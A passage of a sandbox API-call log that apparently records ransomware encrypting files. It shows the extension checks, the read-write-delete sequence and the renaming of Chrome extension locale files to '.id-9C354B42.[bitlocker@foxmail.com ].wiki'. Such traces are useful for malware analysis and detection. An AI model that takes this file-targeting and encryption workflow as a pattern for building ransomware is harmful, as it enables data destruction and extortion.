5 [0172.356] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.356] lstrlenW (lpString=".pdf") returned 4 [0172.356] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.357] lstrlenW (lpString=".xls") returned 4 [0172.357] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.357] lstrlenW (lpString=".xlsx") returned 5 [0172.357] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.357] lstrlenW (lpString=".ppt") returned 4 [0172.357] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.357] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json") returned 151 [0172.357] lstrlenW (lpString=".zip") returned 4 [0172.357] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.357] lstrlenW (lpString=".rar") returned 4 [0172.357] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.357] lstrlenW (lpString=".bz2") returned 4 [0172.357] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.357] lstrlenW (lpString=".7z") returned 3 [0172.357] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.357] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json") returned 151 [0172.357] lstrlenW (lpString=".dbf") returned 4 [0172.357] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.357] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json") returned 151 [0172.357] lstrlenW (lpString=".1cd") returned 4 [0172.357] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.357] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json") returned 151 [0172.357] lstrlenW (lpString=".jpg") returned 4 [0172.357] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.357] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json") returned 151 [0172.357] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json") returned 151 [0172.357] lstrlenW (lpString=".doc") returned 4 [0172.357] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.357] lstrlenW (lpString=".docx") returned 5 [0172.358] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.358] lstrlenW (lpString=".pdf") returned 4 [0172.358] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.358] lstrlenW (lpString=".xls") returned 4 [0172.358] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.358] lstrlenW (lpString=".xlsx") returned 5 [0172.358] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.358] lstrlenW (lpString=".ppt") returned 4 [0172.358] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.358] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json") returned 151 [0172.358] lstrlenW (lpString=".zip") returned 4 [0172.358] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.358] lstrlenW (lpString=".rar") returned 4 [0172.358] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.358] lstrlenW (lpString=".bz2") returned 4 [0172.358] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.358] lstrlenW (lpString=".7z") returned 3 [0172.358] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.358] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json") returned 151 [0172.358] lstrlenW (lpString=".dbf") returned 4 [0172.358] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.358] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json") returned 151 [0172.358] lstrlenW (lpString=".1cd") returned 4 [0172.358] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.358] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json") returned 151 [0172.358] lstrlenW (lpString=".jpg") returned 4 [0172.358] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.358] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.359] lstrlenW (lpString="messages.json") returned 13 [0172.359] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0172.359] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=224) returned 1 [0172.359] CloseHandle (hObject=0x1b4) returned 1 [0172.359] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json")) returned 0x2020 [0172.359] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.359] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0172.359] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.359] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.360] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0172.360] GetLastError () returned 0x0 [0172.360] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xe0, lpOverlapped=0x0) returned 1 [0172.361] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0172.362] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0172.362] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.362] SetEndOfFile (hFile=0x198) returned 1 [0172.362] CloseHandle (hObject=0x198) returned 1 [0172.362] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.362] SetEndOfFile (hFile=0x1b4) returned 1 [0172.363] CloseHandle (hObject=0x1b4) returned 1 [0172.363] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.363] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json")) returned 1 [0172.364] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json") returned 154 [0172.364] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json") returned 154 [0172.364] lstrlenW (lpString=".doc") returned 4 [0172.364] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.364] lstrlenW (lpString=".docx") returned 5 [0172.364] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.364] lstrlenW (lpString=".pdf") returned 4 [0172.364] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.364] lstrlenW (lpString=".xls") returned 4 [0172.364] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.364] lstrlenW (lpString=".xlsx") returned 5 [0172.364] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.364] lstrlenW (lpString=".ppt") returned 4 [0172.364] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.364] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json") returned 154 [0172.364] lstrlenW (lpString=".zip") returned 4 [0172.364] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.364] lstrlenW (lpString=".rar") returned 4 [0172.364] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.364] lstrlenW (lpString=".bz2") returned 4 [0172.364] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.364] lstrlenW (lpString=".7z") returned 3 [0172.364] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.364] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json") returned 154 [0172.364] lstrlenW (lpString=".dbf") returned 4 [0172.364] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.364] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json") returned 154 [0172.364] lstrlenW (lpString=".1cd") returned 4 [0172.364] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.364] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json") returned 154 [0172.364] lstrlenW (lpString=".jpg") returned 4 [0172.365] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.365] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json") returned 154 [0172.365] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json") returned 154 [0172.365] lstrlenW (lpString=".doc") returned 4 [0172.365] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.365] lstrlenW (lpString=".docx") returned 5 [0172.365] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.365] lstrlenW (lpString=".pdf") returned 4 [0172.365] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.365] lstrlenW (lpString=".xls") returned 4 [0172.365] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.365] lstrlenW (lpString=".xlsx") returned 5 [0172.365] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.365] lstrlenW (lpString=".ppt") returned 4 [0172.365] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.365] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json") returned 154 [0172.365] lstrlenW (lpString=".zip") returned 4 [0172.365] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.365] lstrlenW (lpString=".rar") returned 4 [0172.365] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.365] lstrlenW (lpString=".bz2") returned 4 [0172.365] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.365] lstrlenW (lpString=".7z") returned 3 [0172.365] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.365] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json") returned 154 [0172.365] lstrlenW (lpString=".dbf") returned 4 [0172.365] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.368] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json") returned 154 [0172.368] lstrlenW (lpString=".1cd") returned 4 [0172.368] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.368] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json") returned 154 [0172.368] lstrlenW (lpString=".jpg") returned 4 [0172.368] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.369] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.369] lstrlenW (lpString="messages.json") returned 13 [0172.369] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0172.369] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=222) returned 1 [0172.369] CloseHandle (hObject=0x1b4) returned 1 [0172.369] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json")) returned 0x2020 [0172.369] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.369] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0172.369] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.369] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.370] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0172.370] GetLastError () returned 0x0 [0172.370] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xde, lpOverlapped=0x0) returned 1 [0172.371] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0172.372] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0172.372] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.372] SetEndOfFile (hFile=0x198) returned 1 [0172.372] CloseHandle (hObject=0x198) returned 1 [0172.372] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.372] SetEndOfFile (hFile=0x1b4) returned 1 [0172.373] CloseHandle (hObject=0x1b4) returned 1 [0172.373] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.373] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json")) returned 1 [0172.373] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json") returned 151 [0172.374] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json") returned 151 [0172.374] lstrlenW (lpString=".doc") returned 4 [0172.374] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.374] lstrlenW (lpString=".docx") returned 5 [0172.374] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.374] lstrlenW (lpString=".pdf") returned 4 [0172.374] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.374] lstrlenW (lpString=".xls") returned 4 [0172.374] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.374] lstrlenW (lpString=".xlsx") returned 5 [0172.374] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.374] lstrlenW (lpString=".ppt") returned 4 [0172.374] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.374] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json") returned 151 [0172.374] lstrlenW (lpString=".zip") returned 4 [0172.374] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.374] lstrlenW (lpString=".rar") returned 4 [0172.374] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.374] lstrlenW (lpString=".bz2") returned 4 [0172.374] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.374] lstrlenW (lpString=".7z") returned 3 [0172.374] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.374] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json") returned 151 [0172.374] lstrlenW (lpString=".dbf") returned 4 [0172.374] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.374] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json") returned 151 [0172.374] lstrlenW (lpString=".1cd") returned 4 [0172.374] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.374] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json") returned 151 [0172.374] lstrlenW (lpString=".jpg") returned 4 [0172.374] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.375] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json") returned 151 [0172.375] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json") returned 151 [0172.375] lstrlenW (lpString=".doc") returned 4 [0172.375] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.375] lstrlenW (lpString=".docx") returned 5 [0172.375] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.375] lstrlenW (lpString=".pdf") returned 4 [0172.375] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.375] lstrlenW (lpString=".xls") returned 4 [0172.375] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.375] lstrlenW (lpString=".xlsx") returned 5 [0172.375] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.375] lstrlenW (lpString=".ppt") returned 4 [0172.375] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.375] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json") returned 151 [0172.375] lstrlenW (lpString=".zip") returned 4 [0172.375] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.375] lstrlenW (lpString=".rar") returned 4 [0172.375] 